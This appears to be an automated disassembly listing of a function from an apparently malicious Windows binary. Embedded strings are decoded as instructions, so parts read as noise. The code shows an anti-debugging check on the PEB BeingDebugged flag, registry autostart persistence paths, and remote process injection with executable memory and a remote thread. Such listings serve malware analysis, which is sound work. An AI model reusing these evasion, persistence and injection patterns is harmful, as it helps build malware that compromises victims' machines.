Function at 0x40458d
Capabilities:
Check for peb beingdebugged flag

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x78], ah
pushal
js 0x404406
jns 0x404406
pushal
js 0x404406
jns 0x404406
jmp 0x4043ef
call 0x4058ba
mov esi, dword [esp + 0x20]
call 0x404425
popal
js 0x40441a
jns 0x40441a
jmp 0x404483
push section.CODE
ret
mov ebx, dword [ebp + 0x24]
add ebx, esi
movzx ecx, word [ebx + eax*2]
mov ebx, dword [ebp + 0x1c]
add ebx, esi
mov ebx, dword [ebx + ecx*4]
add ebx, esi
sub esp, 0x110
mov edi, esp
mov dword [esp + 0xf4], esi
call fcn.00404b01
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4044ab
mov eax, dword [esp]
call 0x4044c9
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x8e8e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4044d2
mov eax, dword [esp]
call 0x4044f2
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x94ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4044fb
mov eax, dword [esp]
call 0x404516
dec ebp
push eax
push edx
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x991e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x40451f
mov eax, dword [esp]
call 0x40453e
push edi
push ebx
dec edi
inc ebx
dec ebx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x9b5e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x404547
mov eax, dword [esp]
call 0x404566
push ebx
dec eax
inc ebp
dec esp
dec esp
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa18e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x40456f
mov eax, dword [esp]
call 0x40458d
push ebp
push edx
dec esp
dec ebp
dec edi
dec esi
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa0ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x404596
mov esi, esp
call 0x4045b9
inc ecx
outsb dx, byte [esi]
jb 0x404626
and byte [ecx + 0x6e], al
insb byte es:[di], dx
and byte [esi + 0x33], dh
xor byte cs:[eax], al
push 0
push 0
call dword [esi + 4]
call dword [esi + 8]
js 0x4045c8
jns 0x4045c8
jmp 0x4045d4
or eax, eax
je 0x4045d2
int3
call dword [esi + 0xc]
push 1
push eax
call dword [esi + 0x10]
js 0x4045e0
or al, 0x6a
add dword [eax - 1], edx
push esi
adc byte [eax + 3], bh
jns 0x4045e0
jmp 0x404649
push 0x2710
call dword [esi + 0x44]
call fcn.00404699
mov esi, esp
push 0xea60
call dword [esi + 0x44]
sub esp, 0x1130
push esp
call fcn.00404fcb
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push 0x493e0
call dword [esi + 0x44]
call fcn.0040466e
mov esi, esp
call 0x40462f
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
dec eax
popal
jae 0x40467e
jne 0x40469c
add byte [edx], ch
push 0x1f0001
call dword [esi + 0x8c]
call dword [esi + 8]
or eax, eax
je 0x40465d
sub esp, 0x1130
push esp
call fcn.00404ffd
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push dword fs:[0x30]
pop eax
movzx eax, byte [eax + 2]
or al, al
jne 0x404668
jmp 0x404611
nop
mov dword [edx], eax
call fcn.0040525e
lea eax, [edx + 0x39]
nop
nop
nop
mov dword [edx], eax
call fcn.00405068
call fcn.00405099
int3
or eax, 0xec810000
xor byte [ecx], dl
add byte [eax], al
push esp
call dword [esi + 0x84]
mov ax, word [esp + 6]
add esp, 0x1130
cmp ax, 0x1d
ja 0x4047bf
push eax
push esp
call 0x404702
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x404744
jb 0x404739
outsb dx, byte [esi]
je 0x40471a
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x40474d
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x40473d
push ebx
jb 0x40475b
imul esp, dword [ebx + 0x65], 0x614c5c73
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x40476a
jb 0x404753
push eax
popal
jb 0x40475c
insd dword es:[edi], dx
je 0x404764
jb 0x404774
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x404798
jb 0x404725
pop ecx
call 0x40472f
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x404780
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4047c2
jb 0x4047b7
outsb dx, byte [esi]
je 0x404798
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4047cb
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4047bb
push ebx
jb 0x4047d9
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x4047e8
jb 0x4047d1
pop esp
push eax
popal
jb 0x4047da
insd dword es:[edi], dx
je 0x4047e2
jb 0x4047f2
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x4047aa
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
jmp 0x4048b8
add byte [eax], al
add cl, ch
stc
add byte [eax], al
add byte [eax + 0x54], dl
push eax
push esp
call 0x404800
cmp al, byte [eax]
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x404842
jb 0x404837
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x404818
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x40484b
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x40483b
push ebx
jb 0x404859
jbe 0x40484d
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x404868
jb 0x404851
push eax
popal
jb 0x40485a
insd dword es:[edi], dx
je 0x404862
jb 0x404872
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x404896
jb 0x404823
pop ecx
call 0x40482d
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x40487e
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4048c0
jb 0x4048c1
jb 0x4048b5
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x404896
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4048c9
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4048b9
push ebx
jb 0x4048d7
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x4048e6
jb 0x4048cf
pop esp
push eax
popal
jb 0x4048d8
insd dword es:[edi], dx
je 0x4048e0
jb 0x4048f0
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x4048a8
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
add byte [ecx + 0x100ec], al
add byte [eax + ebp*8 + 0x6c], dl
sub esp, 0x100
in al, dx
add byte [ecx], al
add byte [eax], al
push esp
call fcn.00405030
insb byte es:[edi], dx
pop es
add byte [eax], al
mov edi, esp
push 0x10
push edi
call dword [esi + 0x70]
cmp eax, 0xffffffff
je 0x4048ee
mov ebx, eax
call fcn.004054b5
add byte [edx], ch
push 0
push 0
push ebx
call dword [esi + 0x3c]
push ebx
call fcn.00405314
mov edi, esp
push 7
push edi
call dword [esi + 0x28]
push eax
push esp
call 0x404923
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x404964
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
inc ebx
jne 0x404985
jb 0x40497a
outsb dx, byte [esi]
je 0x40496e
jb 0x40498e
imul ebp, dword [edi + 0x6e], 0x6e75525c
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
xchg byte [eax - 0x77000000], dh
xchg dword [esi + 0xd], ecx
add byte [eax], al
add byte [ebx + 0xb886], cl
add byte [ecx + 0xd3987], cl
mov eax, dword [esi + 0xb8]
mov dword [edi + 0xd39], eax
lea eax, [edi + 0xcfd]
push eax
push esp
add byte [ebp + 0xcfd87], cl
add byte [eax + 0x54], dl
push 0
push ebx
push eax
push 0
push 0
call dword [esi + 0x74]
pop eax
xor eax, eax
mov dword [esi + 0xfc], eax
sub esp, 0x100
push esp
call fcn.00405030
call 0x4049a8
pop edi
mov eax, dword [esi + 0x44]
mov dword [edi + 0xd1f], eax
mov eax, dword [esi + 0x84]
mov dword [edi + 0xd36], eax
mov dword [edi + 0xe03], eax
mov eax, dword [esi + 0xf0]
mov dword [edi + 0xd9a], eax
mov dword [edi + 0xe58], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xe6c], eax
mov eax, dword [esi + 0x50]
mov dword [edi + 0xe8f], eax
mov eax, dword [esi + 0x64]
mov dword [edi + 0xeab], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xec6], eax
mov eax, dword [esi + 0x48]
or eax, eax
je 0x404a70
push 1
push 0
call eax
mov edx, dword [esi + 0xf4]
movzx ebx, word [edx + 0x3c]
add ebx, edx
mov ecx, dword [ebx + 0x104]
mov ebp, dword [ebx + 0x54]
sub ecx, ebp
cmp ecx, 0x200
jb 0x404a6e
add ebp, edx
lea edx, [edi + 0xd16]
push 0x1be
nop
push ebp
push edx
call int.0040587e
lea ecx, [ebp + 0x1be]
mov edx, esp
push pe_nt_image_headers32
push ecx
push edx
call int.0040587e
call dword [esi + 0x4c]
push eax
push esp
push 0
push eax
push ebp
push 0
push 0
call dword [esi + 0x5c]
mov dword [esi + 0xfc], eax
pop eax
push 0x1f4
call dword [esi + 0x44]
int3
push 0
push 0
call dword [esi + 0x94]
push eax
push esp
push eax
call dword [esi + 0x90]
push 0
push 0x1f0fff
call dword [esi + 0x50]
or eax, eax
je 0x404b00
mov ebx, eax
push 0x40
push 0x1000
push 0x800
push 0
push ebx
call dword [esi + 0x68]
or eax, eax
je 0x404af4
mov ebp, eax
lea edx, [edi + 0xd16]
push eax
push esp
push 0x1be
nop
push edx
push ebp
push ebx
call dword [esi + 0x54]
pop eax
cmp eax, 0x1be
nop
jne 0x404af4
mov edx, esp
lea ecx, [ebp + 0x1be]
push eax
push esp
push 0x400
push edx
push ecx
push ebx
call dword [esi + 0x54]
call dword [esi + 0x4c]
push esp
push 0
push eax
push ebp
push 0
push 0
push ebx
call dword [esi + 0x58]
mov dword [esi + 0xfc], eax
pop eax
push ebx
call dword [esi + 0x60]
push 0x1f4
call dword [esi + 0x44]
int3